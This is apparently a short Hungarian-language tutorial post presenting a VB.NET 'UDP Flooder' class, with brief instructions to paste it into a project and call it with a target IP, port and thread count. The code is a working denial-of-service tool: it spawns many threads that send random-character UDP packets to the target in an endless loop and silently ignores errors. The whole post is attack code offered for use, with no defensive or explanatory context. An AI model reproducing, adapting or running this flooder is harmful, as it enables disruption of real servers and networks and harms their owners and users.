VB.NET UDP Flooder

Meghívás
UDP.Host = ipcim
UDP.Port = "80"
UDP.Threads = "50"
UDP.str = "500"
UDP.UDP()


Csinálj egy új class-t UDP néven, és másold bele ezt a kódot

Imports System
Imports System.Net
Imports System.Net.Sockets
Imports System.Threading
Imports System.Text

Public Class UDP

    Public Shared Host As String
    Public Shared str As Integer
    Public Shared Port As Integer
    Public Shared UDPzSockets As Integer
    Public Shared Threads As Integer
    Public Shared FloodRunning As Boolean
    Public Shared udpClient As New Sockets.UdpClient
    Public Shared bytCommand As Byte() = New Byte() {}
    Public Shared Sub UDP()
        Try
        If FloodRunning = False Then
            FloodRunning = True
            bytCommand = Encoding.ASCII.GetBytes(GetBytes)
            Dim IP As IPAddress = IPAddress.Parse(Host)
            For NumberOfThreads As Integer = 0 To Threads
                Dim Flooding As New Thread(Sub() Flood(IP, Port))
                Flooding.Start()
            Next
            End If
        Catch ex As Exception
        End Try
    End Sub
    Public Shared Sub Flood(ByVal Ip As IPAddress, ByVal Port As Integer)
        Do While FloodRunning = True
            Try
                udpClient.Connect(Ip, Port)
                udpClient.Send(bytCommand, bytCommand.Length)
            Catch
            End Try
        Loop
        Thread.CurrentThread.Abort()
    End Sub
    Shared Sub StopUDP()
        If FloodRunning = True Then
            FloodRunning = False
        End If
    End Sub
    Shared Function GetBytes()
        Dim R As New Random
        Dim Bytes As String = ""
        Dim Letters As String = "qwertyuioplkjhgfdsazxcvbnm"
        Dim Capitals As String = "QWERTYUIOPLKJHGFDSAZXCVBNM"
        Dim Numbers As String = "0123456789"
        Dim Signs As String = "!£$%^&*()-_=+]}{[;:'@#~<,.>/?"
        For i As Integer = 0 To R.Next(300, str)
            Select Case R.Next(0, 4)
                Case 0
                    Bytes += Letters.ToCharArray()(R.Next((R.Next(0, 26))))
                Case 1
                    Bytes += Capitals.ToCharArray()(R.Next(0, 26))
                Case 2
                    Bytes += Numbers.ToCharArray()(R.Next(0, 10))
                Case 3
                    Bytes += Signs.ToCharArray()(R.Next(0, 29))
            End Select
        Next
        Return Bytes
    End Function
End Class